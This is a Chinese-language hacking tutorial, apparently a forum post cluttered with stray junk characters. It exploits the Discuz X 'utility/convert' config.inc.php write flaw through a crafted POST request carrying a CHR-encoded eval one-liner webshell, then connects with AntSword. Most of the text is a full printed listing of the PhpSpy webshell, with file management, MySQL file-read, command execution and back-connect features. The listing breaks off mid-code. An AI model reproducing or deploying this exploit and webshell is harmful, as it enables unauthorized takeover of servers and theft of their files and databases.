攻击思路: U* h& T* s# ?& I2 y" R
想要拿下一台主机A的权限:
( G0 u" j6 q0 q& O: g, t1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
3 p. A3 U+ L0 v: f0 u; ^2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
4 P1 Y9 z2 Y& [1 L7 h3、传上去后,得到apache用户普通权限,再提权成root
, m; q" A$ ] q概述:) R$ c) ^9 h9 C+ z
这突破在一个DZ X系列自带的转换工具里面。
6 }; C. c$ E) ]+ r7 J漏洞路径:utility / convert / data / config.inc.php% b: p- @" k2 v+ X
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
; u/ `& t% m* O N; t/ y) S触发突破过程:
6 h, Z+ T" }1 f1 b) M1 V1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php - |: m* |" t9 A$ W7 L' m
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序! n, X! ]" p" P) O" T7 M
攻击过程:0 B, o* n& r+ k- Y( R
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
4 B5 ^# Z' W+ |* X6 `9 R+ W& y" | v- s0 i
~, ?, N2 g! }7 x. N6 Q7 @2,右键单击空白处,选择发送到中继器,将报文发到中继器 3、然后在中继器中查看信息: 4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 5、修改完成后发送数据包 6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马; O% G' |* O, z$ ^) e. j
$ ^* |3 b, B/ _3 ?" |
8、通过中国蚁剑上传大码/ d$ f! n0 s0 p+ b* I" j
0 O+ S0 ?5 E }
5 \$ h, F2 v+ m# L5 R: |: o10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php, H0 ?( N; d4 r U7 x
-
, _" U! T7 n* v. D2 d' C - /*****************************************************************************
& C* [2 X" M& x a6 w' @: p1 q3 X - 5 r0 m( F& \: ~. C4 u
- ===================== 请误用于非法用途,造成一切后果与本人无关。====================
8 x, {% c. _* K4 w - , T$ [( V$ |7 z- a- H3 R- ~
- ====- a4 @ I" f# T3 b6 c3 L0 v
-
( c- K6 v5 j3 Y7 F% U' {; o' U - / `3 F% K/ F" q) y+ y
- *****************************************************************************/
1 ]; \3 s" L0 t1 S, @ -
. Z" i; f% E' |9 D# Y, E3 h - error_reporting(7);& Z5 Y* A7 W6 t7 x7 j1 q' F; U
- @set_magic_quotes_runtime(0);+ U" Y& r- t; I6 X, Y+ |' r K3 P$ T
- ob_start();4 s/ ~+ T" K, j2 I1 l
- $mtime = explode(' ', microtime());5 G" Z4 C$ p( ^7 C5 Z% s4 u' R) X
- $starttime = $mtime[1] + $mtime[0];
+ j1 Q! y, F- H+ s7 }& @ - define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');: `" _2 l& h1 L
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
8 ?$ A& D) q( K( O - define('IS_WIN', DIRECTORY_SEPARATOR == '\\');6 g$ }3 t* u1 h* ]1 r8 T e, a
- define('IS_COM', class_exists('COM') ? 1 : 0 );
+ ]% {7 P! K' H! \- E9 I- i - define('IS_GPC', get_magic_quotes_gpc());
" A O+ y& I# n. L& t3 O$ z - $dis_func = get_cfg_var('disable_functions');
9 P9 A; Y$ X1 f - define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );/ b0 u5 W7 {+ t/ Y4 ~6 E
- @set_time_limit(0);$ p9 ^" x% M( x7 e' q0 b# b) ~6 a
-
* c f& @9 ~. C0 o - foreach(array('_GET','_POST') as $_request) {
) @- m( ~, ]9 y0 K$ t - foreach($$_request as $_key => $_value) {
' x" R0 |1 L) B+ c& E - if ($_key{0} != '_') {/ F8 n1 K. {' O+ j; Y0 u8 ~+ `
- if (IS_GPC) {3 p+ _/ @- H/ O* ^& |$ ^
- $_value = s_array($_value);
; ^) n+ B K, v( L, q - }6 J. ^4 h, e; o1 U. w, k
- $$_key = $_value;+ r% R% J; n6 C- m8 b( k
- }
/ r1 z0 ^/ x, W6 D3 [$ g - }7 d4 d D, T% {1 z3 ~
- }; f8 Y" h0 }: w- o- X( @/ b' H& P3 [
-
6 H3 S& Z6 @6 L* B/ z% W( T) { - /*===================== 程序配置 =====================*/1 k5 c7 A( f* z/ [# K
- $admin = array();2 L' e7 _4 K+ ~2 Z7 e3 Q4 @% [; s
- // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
5 I. T& n7 v% H/ V* a# _. ]5 {& H - $admin['check'] = true;, [, v* H' R" ]3 d" O
- // 如果需要密码验证,请修改登陆密码
3 r& A! R# [1 h1 D - $admin['pass'] = 'xuegod';+ G6 I5 x) m! l' A* J
- + Z$ T+ r( j- ?1 E
- //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认: B/ z0 R/ U# \8 T1 ?
- // cookie 前缀
; L: u& C2 Y+ l0 z - $admin['cookiepre'] = '';
( y8 c3 ~, j# I - // cookie 作用域
& d; h3 E- K+ g/ j - $admin['cookiedomain'] = '';5 ^5 K n4 e, c4 ~: p6 N
- // cookie 作用路径% H! G/ s" h: b. V3 J
- $admin['cookiepath'] = '/';/ H# l3 ?) J) ~9 u
- // cookie 有效期
$ ]3 l1 O8 m: F, T# v8 c9 @9 s0 } - $admin['cookielife'] = 86400;
9 t0 {) U2 Y1 [/ | - /*===================== 配置结束 =====================*/
% j5 |8 F4 R3 G9 L# e @ - 2 g" i. x9 H; U3 i8 b
- if ($charset == 'utf8') {3 ^- G, w; j! f2 v% M- \4 \* G
- header("content-Type: text/html; charset=utf-8");$ c5 b& ^/ C4 u
- } elseif ($charset == 'big5') {9 a8 W0 r+ C. `3 l! d) |6 _
- header("content-Type: text/html; charset=big5");! {: [4 u+ Q9 L9 }7 N. r& `# ?
- } elseif ($charset == 'gbk') {
. c- W1 R! K, A7 Z - header("content-Type: text/html; charset=gbk");( X' i' _" l- |
- } elseif ($charset == 'latin1') {
" p ~8 [2 J1 w6 F( Z - header("content-Type: text/html; charset=iso-8859-2");
4 {% f% |; q j& F" ? - }; u( o6 V3 D: M: c
-
+ \+ O! b- ?3 K+ E: ~8 X/ o - $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];0 g/ ~3 D- P0 E
- $timestamp = time();4 L$ q- `3 J- i1 z4 M4 M0 V, U
-
4 c0 B0 t! r# G W. E0 b5 A - /*===================== 身份验证 =====================*/
; a+ g% ^3 d# C9 J9 m+ ?5 X - if ($action == "logout") {" E8 p/ p9 R/ E$ L+ D/ q1 R
- scookie('phpspypass', '', -86400 * 365);: o9 Q( ~- _) d7 W
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
3 f( ^$ _% L: G" d" A" a* O1 u - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');; i" S8 }; R# Y c' j
- exit;
& i/ V7 q3 c1 p# _; [ - }
* X& g. p- U+ r - if($admin['check']) {. J2 S4 q4 f: g
- if ($doing == 'login') {% ^9 [4 {/ G4 H N! R$ N* ~: `
- if ($admin['pass'] == $password) {
) b8 }. F, P5 ] P7 r7 G& Q% g - scookie('phpspypass', $password);8 Z: P" ~$ n4 J9 M0 F
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
7 @9 u" I/ a$ j8 p' ] - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
! p& s1 m1 j" U5 `7 u+ x+ G" p - exit;
9 }, K+ m3 m( `6 {. g& C - }+ ^/ o1 i! U5 U; z4 Y v/ g; `
- }: ^9 b- w' ~4 P/ F) }- K
- if ($_COOKIE['phpspypass']) {
( O& |6 w( ^ ` - if ($_COOKIE['phpspypass'] != $admin['pass']) {* R* {; J6 x9 L3 \* ` L
- loginpage();7 H5 i8 [! Q S$ J y+ {
- }! ]2 o+ {5 M% m$ C I) |
- } else {
+ a! I; R4 z& U8 z - loginpage();
: ]5 j& G2 q! x0 [ - }
8 P# L# l. G4 T' Y1 ^ - }# Y( E- a6 z G# V& ?: y6 L
- /*===================== 验证结束 =====================*/0 B$ [7 o5 Q; E$ N: P
- ; w6 n8 W9 o X; {" h
- $errmsg = '';5 h/ b) u$ ~' @8 t2 m
-
0 t3 K1 V$ l* f4 A s2 p - // 查看PHPINFO2 ^$ b( F1 G4 i# l7 Z4 q Y
- if ($action == 'phpinfo') {
- w" g2 P( h& c, i+ C - if (IS_PHPINFO) {% d4 B" c2 ]1 D+ n
- phpinfo();+ \- v# \* Q* N0 ?3 G. M
- } else {
) p, b2 P. j9 n7 S7 I - $errmsg = 'phpinfo() function has non-permissible';
" {. f7 _8 U5 G4 X. o3 G: y/ q$ l - }
; P0 Z( o6 I8 F - }8 k( y. f* J/ [7 b$ p8 E; y- {
-
9 r) l2 l% k5 m5 t- ^1 x% O - // 下载文件. u# E& o, F4 i' ?" |
- if ($doing == 'downfile' && $thefile) {
! u1 u. O* D5 }0 E - if (!@file_exists($thefile)) {% J4 ?) t/ z7 I
- $errmsg = 'The file you want Downloadable was nonexistent'; V: N& X( `3 H; {
- } else {
! f @2 Y C* @! V6 g1 t - $fileinfo = pathinfo($thefile);
: q0 p! s B! N- L2 w- h: o - header('Content-type: application/x-'.$fileinfo['extension']);
% Y% p6 P# O) c! r3 n+ [ - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
- ]% ]) a* d& ]) t6 j- Y- O% \* Z8 D - header('Content-Length: '.filesize($thefile));
8 B/ i9 ?/ X" ]* p) o% V- e - @readfile($thefile);* G+ g: W8 d7 ?2 O
- exit;( `' J' M9 e% ~5 N% o$ A# y' p
- }7 {9 M6 `" i& Y% @
- }9 j" Z f0 i) `+ @" Y. N4 p
- ; a3 l I0 W& T% a7 N& P& g* q. @; g
- // 直接下载备份数据库
: L- p" W \* ~# R0 [( d" l - if ($doing == 'backupmysql' && !$saveasfile) {3 d6 x+ j5 h d3 A. O% k
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);* d" @* W- r5 R) J
- $table = array_flip($table);
: r: I: h6 p4 g" G2 H# @ - $result = q("SHOW tables");; O) F; F9 m, y) }% N
- if (!$result) p('<h2>'.mysql_error().'</h2>');4 Q/ W- \0 T5 t6 r& [* p0 R, Z
- $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
% {! P& n/ \/ A* i: w( J - header('Content-type: application/unknown');1 x/ w& L' [$ |; d$ n) P
- header('Content-Disposition: attachment; filename='.$filename);, N3 ~* L1 ^( o: A
- $mysqldata = '';( g i* I( n l+ H- ~' J
- while ($currow = mysql_fetch_array($result)) {
9 b8 n9 q# H, \3 `2 C - if (isset($table[$currow[0]])) {
- P: N6 i0 D' J3 A: d. ~4 M$ j - $mysqldata .= sqldumptable($currow[0]);9 H, G! Z+ ^( ^) G9 X+ u7 B& _
- }
* @0 T! Q5 N; L. f) } - }& x/ j& [8 G6 {0 ~
- mysql_close();/ }2 }- j9 S9 Y4 F: V. C: q; Z* T; P0 L
- exit; V1 z: [$ H, R6 A S
- }4 ?" q; n7 e! a1 b6 z. ?
- / Q: d" M5 L' L$ T$ t& W% A4 m
- // 通过MYSQL下载文件 ?$ m+ b6 ~* j: e
- if($doing=='mysqldown'){
) B( t2 o2 U9 r* q" ~ - if (!$dbname) {
- v$ c2 m" }6 K9 u4 t$ o0 e - $errmsg = 'Please input dbname';% y" R( W$ _' F2 |, `
- } else {
/ I J; q7 L4 e4 ?# r. `4 F5 K& X* p - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);5 W4 O# z- n" V
- if (!file_exists($mysqldlfile)) {
7 ^0 B0 G2 T; O+ n2 m; Z4 U - $errmsg = 'The file you want Downloadable was nonexistent';8 ?2 F9 V2 P* H/ |' J
- } else {
" F6 q5 R# l; M/ }( a - $result = q("select load_file('$mysqldlfile');");
3 O# L) \+ ~6 K; C9 ?8 E9 B+ T - if(!$result){
% H/ W/ R% ?, _ - q("DROP TABLE IF EXISTS tmp_angel;");
7 ]* ]: F; I) t- T$ L3 A8 g/ D - q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");5 ~4 j! u, O5 \/ q( G* i8 d
- //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况6 G$ O% C. V( T5 A+ L1 h
- q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
8 H3 r6 L+ |9 S - $result = q("select content from tmp_angel");
+ B3 ]' P: a o - q("DROP TABLE tmp_angel");* ~7 S: D" ?8 S \) V( |# z$ h
- }6 Z9 W- x& _/ }! C9 C
- $row = @mysql_fetch_array($result);
7 P4 ~5 q' \ P! l# K1 y) z% b* n% q5 } - if (!$row) {
2 Q4 z$ N: y- ?& j; W" o! w - $errmsg = 'Load file failed '.mysql_error();$ N0 @/ \" V, w; u; u
- } else {' W8 k/ v4 B5 L% `! E; A( A
- $fileinfo = pathinfo($mysqldlfile);0 g6 a( ]) l5 n( a- c9 I
- header('Content-type: application/x-'.$fileinfo['extension']);1 h, U5 c2 _0 i9 ]
- header('Content-Disposition: attachment; filename='.$fileinfo['basename']);. `: Z2 H+ o+ G& @+ A0 w0 R; ?
- header("Accept-Length: ".strlen($row[0]));
* N1 I+ f; e' {. q - echo $row[0];
4 h! U4 s4 ?$ u! ` - exit;" K+ b! N( r/ m! a/ h
- }
: E# K4 b$ r2 ] - }
1 w4 M. C2 H3 t2 `# \3 I. { - }5 ~* X/ g- c, m
- }! l5 H0 R. y L0 g3 h6 m8 @
-
" l0 e+ e6 }% b$ u9 I - ?>/ p; E# g& G8 `6 l* c
- <html>
7 X4 q% h0 B9 e; X$ | - <head>
. v' `. r4 J }7 Z q |: D- _ - <meta http-equiv="Content-Type" content="text/html; charset=gbk">& j+ g# E- c9 I* w" p6 I/ ~
- <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>, W* a; Z6 X8 {
- <style type="text/css">
; C! S' W) @2 F9 s) E' }; y - body,td{font: 12px Arial,Tahoma;line-height: 16px;}
5 r8 [7 j8 C+ L: s, a& z4 c - .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}9 F9 A) t5 Y* [4 r& w9 B9 y% O
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
" L, ?6 G% }/ y+ U1 K% J n - .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
5 Q8 @( Y" n8 o9 G - a {color: #00f;text-decoration:underline;}; `9 i- R* I1 J2 Z" ]
- a:hover{color: #f00;text-decoration:none;}8 W8 L0 `9 A3 q' f( F; {* w) B
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
( ]3 _; ?" [& M m# \- Z5 A - .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}: b2 q) i: n* M3 [
- .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
& G5 ~% K+ b2 W1 \+ u - .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}; e, v9 E4 q1 @
- .head td span{font-weight:normal;}
% j/ q2 _4 x" `( ] - form{margin:0;padding:0;}
/ w9 u7 U7 G, X0 J( q( _7 l4 o" } - h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}" H8 X$ U3 r& i P( z- P1 C
- ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
' z4 i4 h& U, ~! Y/ x! i5 _- [ - u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}5 A+ }2 d* ?' B( H! h y3 E( O
- </style>) {) T9 o- S0 V0 F
- <script type="text/javascript">: G* m# H3 t- B2 w0 k; Y
- function CheckAll(form) {
O# I+ E8 Y. Q* P5 w. r9 C - for(var i=0;i<form.elements.length;i++) {' n E& |6 A: N% m' m# M& P
- var e = form.elements[i];7 p. }3 t6 t( r" M; ]1 i
- if (e.name != 'chkall')- ^* W- Y, Y* { n. V7 l. G. B) W
- e.checked = form.chkall.checked;% ^3 F% e2 c+ h
- }- K" U4 p+ U% C( t, p, u/ e- O( S
- }; A( S( }% l. ~9 j1 F) G
- function $(id) {& y$ L: p! h2 E7 q7 h" T
- return document.getElementById(id);
% G# J2 B1 W% [/ B - }
8 `! k* t9 {& l1 q. W - function goaction(act){( U; V" q& @' N' |( t" M9 M
- $('goaction').action.value=act;. V0 y1 J0 ^: ^; ~& V7 F* C! v) g
- $('goaction').submit();+ u5 Y0 Z, q9 ]- v
- }
0 Z7 f$ L7 X$ `4 e2 @6 \9 X, ^% L6 Z - </script>
9 r2 U. h7 R3 Z: w5 K# s1 w& G' E7 k - </head>
- K, W9 o7 }) t# B, s& r8 A - <body style="margin:0;table-layout:fixed; word-break:break-all">, i8 T3 b/ }' O5 d2 E
- <table width="100%" border="0" cellpadding="0" cellspacing="0">
/ p/ V/ _9 @! J% z4 h# X - <tr class="head">1 D& A% y9 E# X) H2 D, _
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>; }, y( ^) h2 R! q& T3 A7 _/ ?
- </tr>
) y ?0 ]3 d' }9 N' _$ F6 N2 P - <tr class="alt1">
9 g0 r6 H! z# n1 Z - <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
& ^6 @0 ?# E. n- D. z - <a href="javascript:goaction('logout');">Logout</a> |
% \: }- {1 C; E, @! E( f" Z - <a href="javascript:goaction('file');">File Manager</a> | ! M$ B) c& P1 x' j& {/ A" j
- <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | ( Q1 s# b2 p% U2 p9 @5 {3 U8 P
- <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | ( D4 H; V* M8 H& `8 Z! n
- <a href="javascript:goaction('shell');">Execute Command</a> |
" x! w6 J# x6 t& I! u - <a href="javascript:goaction('phpenv');">PHP Variable</a> |
w6 u$ m, I& H+ v1 t - <a href="javascript:goaction('eval');">Eval PHP Code</a>6 ?( x# k1 p) G9 c2 @) r `
- <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>+ k, T" r- {3 u4 s
- </td>
7 W" m- D f* Y. G; ? - </tr>: m; H+ A- B, G8 i, ]' f6 Z! Z& h$ C
- </table>
% n6 U P4 v! c# G+ U - <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>4 C) J/ X/ l! h/ B6 I# j6 Q* G
- <?php
* }( a2 T9 z& b; O* C. n - 0 X6 }; j$ Y, U; |5 n) E
- formhead(array('name'=>'goaction'));. N* Y: ~# S0 ]/ n0 ? M$ R
- makehide('action');
% E6 q3 ?: K, H; U, n - formfoot();
$ d4 s- }% g7 H& D3 |! N - 1 D$ ?7 t7 g6 t
- $errmsg && m($errmsg);5 ?6 s' L) v' q
- 1 |$ \9 [$ R( z( H2 x3 W+ M
- // 获取当前路径; z) H+ J9 w9 c! @( a1 f& v7 u: Z- Z* C
- !$dir && $dir = '.';
- O, ]4 c8 p- n/ X, O - $nowpath = getPath(SA_ROOT, $dir);. g$ j' N8 y/ w' t U% C' @) Y% s7 K
- if (substr($dir, -1) != '/') {
3 F: k% h: H0 [$ n9 F) y - $dir = $dir.'/';
. d8 g p" M4 |4 ?2 F9 y - }+ g+ [( C* d+ w: q$ s, n
- $uedir = ue($dir);! z" V7 g% ~& ~+ x. Q0 q1 F" [( a2 k
-
7 K9 t0 E! j8 a& B' O: X. M9 i - if (!$action || $action == 'file') {* g$ v, Q, c5 P8 _' f
-
' A+ H, Y& m2 p0 d" t/ ] - // 判断读写情况
" L/ c, g& h/ i% M7 y+ c5 I - $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';% r1 c/ b. B( U! z
-
. n. u. {. ?7 U: @/ D# J - // 删除目录
) u+ F# a. h7 \0 o - if ($doing == 'deldir' && $thefile) {- ^ x6 u& w9 [. o$ M
- if (!file_exists($thefile)) {* S$ ~% y6 r9 V1 I
- m($thefile.' directory does not exist');
! b9 x" E2 a/ X8 v5 x - } else {( P! X: C& i% S* ~2 v' z) [
- m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));- z( X8 a0 a. ?( N! U
- }
; J1 F& W8 r' m; `. D3 _ - }
1 f8 U) A, F0 S" \ -
4 r, z0 a X- E4 M: I# F4 ` - // 创建目录; |& f% t1 \/ i' d- n
- elseif ($newdirname) {2 H9 a6 V& w* ?+ d) X n/ n
- $mkdirs = $nowpath.$newdirname;
) d; C4 o7 M. j2 y$ F9 D/ k1 E& g - if (file_exists($mkdirs)) {" K4 v1 u1 E" Y( r
- m('Directory has already existed');
' s: [6 x G# U1 b+ ]+ J3 [ - } else {& [8 F. b& h$ L4 c! [6 \
- m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));* u& I: k9 Q/ y6 o) N- S1 v8 `6 v
- @chmod($mkdirs,0777);
7 U7 d2 [2 X5 w- B5 B - }7 a6 G3 a1 `& r' P9 P
- }
3 \- R. d$ X+ Y U1 [+ t0 I6 L -
% Z, I9 _& x* X - // 上传文件
0 b" g, k5 i& f' o5 ~$ P - elseif ($doupfile) {7 G3 c3 W; d: M( U d6 n
- m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));2 @& ]% ]0 a& C
- }
8 R6 y( J1 I, S0 `* t$ E: z -
+ y) l6 w4 w! F. S0 M8 S/ x) h( D - // 编辑文件- @" E& o, T6 o4 Y4 m6 R
- elseif ($editfilename && $filecontent) {, X; F* d2 d* s7 ?2 O
- $fp = @fopen($editfilename,'w');
0 g2 Z, t- p/ ^. R- F+ J6 S2 I, f - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
( Y9 ]8 A0 s$ N& s, w; R - @fclose($fp);
/ i& |6 W H) w: x - }: W( l2 J6 P7 ]
- ( T7 }0 a+ ^9 ~9 ?: H8 {; F$ S4 T
- // 编辑文件属性
: f) X# }" [9 m u- W - elseif ($pfile && $newperm) {
4 G' o0 d5 ?! e/ K - if (!file_exists($pfile)) {
# |- ]5 l5 R$ V* G - m('The original file does not exist');
" S: N$ |4 M' ^& Z8 V( L& X - } else {
0 i+ g- p. w: G: R1 y T - $newperm = base_convert($newperm,8,10);
" f( j, }: F. ^# M) ]' l! t/ e - m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));7 @ e$ a# @& a4 j( ]0 M
- }) x5 r/ J( j) y
- }: ^# B( m8 c* k+ K
- / @' U% r. z a' O
- // 改名
/ |2 p2 D+ }) r6 I, a - elseif ($oldname && $newfilename) {
7 M7 x8 s/ ^4 n8 ^ - $nname = $nowpath.$newfilename;
+ g0 w! L( ]7 C- H$ I - if (file_exists($nname) || !file_exists($oldname)) {
$ t7 m- V5 E) ~4 ^. X - m($nname.' has already existed or original file does not exist');
( U/ t; j' o# n i/ s - } else {
9 |- e) e: L) T7 f; ~ - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
$ k9 W: w$ `' D: F9 W/ p - }+ j( p) B V3 L
- }' r( j; u y$ B* q6 i, ]% k' N/ ?
- ' E/ V3 }% T9 R5 u; m
- // 复制文件# G+ ]% Z' X! d: U/ F
- elseif ($sname && $tofile) {
" m4 U, I& ~# _ c - if (file_exists($tofile) || !file_exists($sname)) {. N1 ]6 E" M& e# N9 O
- m('The goal file has already existed or original file does not exist');, ^% D$ M9 X; R
- } else {. k: F4 w9 W& m1 E; a
- m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
5 c& k, D+ ^! S/ V - }4 a( v) U9 W3 D
- }+ l+ f" c( P7 }* d! R3 j3 I/ L# X
- 5 M( E* k8 s. J
- // 克隆时间! f9 x1 Z; _ W- e. S
- elseif ($curfile && $tarfile) {, ^# j0 k! X: N# U6 O
- if (!@file_exists($curfile) || !@file_exists($tarfile)) {9 {2 p1 o6 p9 u$ G! c! q' T O0 q3 }
- m('The goal file has already existed or original file does not exist'); p& T$ C9 ^* A. x j! `$ x9 p' K
- } else {/ B6 u8 |5 C! K" B
- $time = @filemtime($tarfile);
6 |% [0 u2 P# o$ c9 u3 s( S - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); M; p' O& ?8 `# Q
- }# ^' j' K6 b% n4 w4 W
- }; Y3 z: J# q# [( P& @
- : w; m/ a7 A$ Y' z( D
- // 自定义时间1 R, W( A! L' f
- elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {9 M7 U% \; I1 ?* ` C- ?
- if (!@file_exists($curfile)) {7 T6 G: [7 p4 e
- m(basename($curfile).' does not exist');
# W- Z' X4 [% B% S - } else {5 n3 e: N% L& \7 e
- $time = strtotime("$year-$month-$day $hour:$minute:$second");
- w0 ]/ a1 _4 w/ D* _- E3 P - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
: W9 o# [5 P5 N3 V+ c& c3 g5 Y. X& p# U4 p5 I - }
. ?% ?& g: | [7 R* ~1 V" ~ - }
4 G h" |& i/ \% w+ l - , B) U6 P; s. n0 B: T1 Z
- // 打包下载
) [' z/ q0 ^$ L/ J. e - elseif($doing == 'downrar') {( \+ k0 J0 V* R" |, t P! N/ M$ g
- if ($dl) {
( x# F) p f! X+ W' N - $dfiles='';
4 y7 i( i" K$ S: a6 q! K( ] - foreach ($dl as $filepath => $value) {
; {( h; R6 E3 n- F2 ^( v - $dfiles.=$filepath.',';6 _5 X% L$ B7 a/ C1 b1 S5 } b5 P
- }8 L- U/ v! p+ B- S0 Z, n
- $dfiles=substr($dfiles,0,strlen($dfiles)-1);: o8 p& y1 q% R s- @$ `, H: u0 F
- $dl=explode(',',$dfiles);
0 d) U! S# h" h ?% |9 Z2 r: v# z2 m - $zip=new PHPZip($dl); v4 P, Q& x( R2 \& t
- $code=$zip->out;, }/ D1 o, D% Q) f2 I5 X0 t! i
- header('Content-type: application/octet-stream');' V2 w5 s) o2 Q, b _/ Z
- header('Accept-Ranges: bytes');' C/ g, f3 p/ ?! ]$ Y) v
- header('Accept-Length: '.strlen($code));3 L( J- t% a2 a4 [. r& c/ W
- header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');- \! u0 s4 s4 x3 o' p5 D
- echo $code;
& u1 U P T# k& m - exit;: Y M j- U+ l9 g
- } else {
) ~1 u5 J U7 i: e# I1 I - m('Please select file(s)');
* K1 `: T; u g! P - }4 ]( M3 t' B3 T) M
- }
* {' q% J* x, P( e1 z -
4 f! }6 e0 l7 k5 ?( d - // 批量删除文件
1 X% |! W+ \. C9 Z- ]! \ - elseif($doing == 'delfiles') { l6 k" x. D, O( ^; B
- if ($dl) {* g; M; X6 w s: y: ]& B
- $dfiles='';/ j1 g3 A8 j7 Z- C3 i
- $succ = $fail = 0;% B6 f- D8 }; F' _8 y
- foreach ($dl as $filepath => $value) {
- r" I8 s" |: I$ X - if (@unlink($filepath)) { g( v7 r# S# }7 }( g6 t' f5 D+ B6 @
- $succ++;
: G4 V+ y0 p1 X( ?0 d( l - } else {
# A- b; Q5 K$ P5 ~, j - $fail++;
0 d( F4 M0 P" o6 U4 F - }
( p" ?* D- `- `# A2 [* r( Q& G, N8 | - }" L8 `0 a) n. C0 I+ u
- m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
0 T' X. n7 x: R - } else {; A" q9 X. s2 H5 M1 [
- m('Please select file(s)');! c5 V1 t: B# p2 F' ~6 A; B7 @
- }5 X/ i6 n8 A6 C0 w/ C
- }
' i, Q7 u/ u1 G3 _& P -
3 _7 B0 l6 F% H* ^ - //操作完毕7 h, F5 N& A( C( N3 X. |+ F
- formhead(array('name'=>'createdir'));
+ {0 L% f! ?$ t - makehide('newdirname');
